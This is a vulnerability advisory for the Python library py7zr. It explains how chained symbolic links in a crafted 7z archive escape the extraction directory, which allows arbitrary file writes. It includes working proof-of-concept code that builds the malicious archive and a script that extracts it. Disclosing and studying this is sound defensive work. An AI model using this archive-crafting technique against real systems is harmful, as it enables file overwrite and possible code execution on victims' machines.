| Package | Affected versions | Patched versions |
|---|---|---|
| py7zr | < 1.1.3 | 1.1.3 |
There exists an arbitrary file write vulnerability in py7zr (1.1.0, latest), which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using extractall to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service.
The root cause of this vulnerability is that py7zr fails to properly restrict the targets of symbolic links within an archive. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor.
The following pseudo-code illustrates the vulnerable logic.
def create_sevenz_exp(output_dir: str):
filename = "archive.7z"
file_path = output_dir + filename
with py7zr.SevenZipFile(file_path, 'w') as archive:
archive.writestr("Some Text", "dir0/someFile.txt")
add_symlink(archive, "dir1", "dir0/..")
add_symlink(archive, "dir2", "dir1/..")
add_symlink(archive, "dir3", "dir2/..")
add_symlink(archive, "dir4", "dir3/..")
add_symlink(archive, "dir5", "dir4/..")
add_symlink(archive, "dir6", "dir5/..")
add_symlink(archive, "dir7", "dir6/..")
add_symlink(archive, "dir8", "dir7/..")
add_symlink(archive, "myTmp", "dir8/tmp")
archive.writestr("Malicious Text\n", "myTmp/poc.txt")
Use common decompression methods, then extract the archive.
import sys
import os
import py7zr
def extract_7z(seven_path, output_dir):
os.makedirs(output_dir, exist_ok=True)
with py7zr.SevenZipFile(seven_path, mode='r') as z:
z.extractall(path=output_dir)
print(f"Extracted '{seven_path}' to '{output_dir}'")
if __name__ == "__main__":
seven_file = sys.argv[1]
base_name = os.path.splitext(os.path.basename(seven_file))[0]
output = base_name + "_sevenz_output"
extract_7z(seven_file, output)
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Scan my site freeAfter decompression, the output directory contains a sequence of symbolic links, which can finally point to the system root directory. Then, when extracting a regular file, the file will be written to an arbitrary path.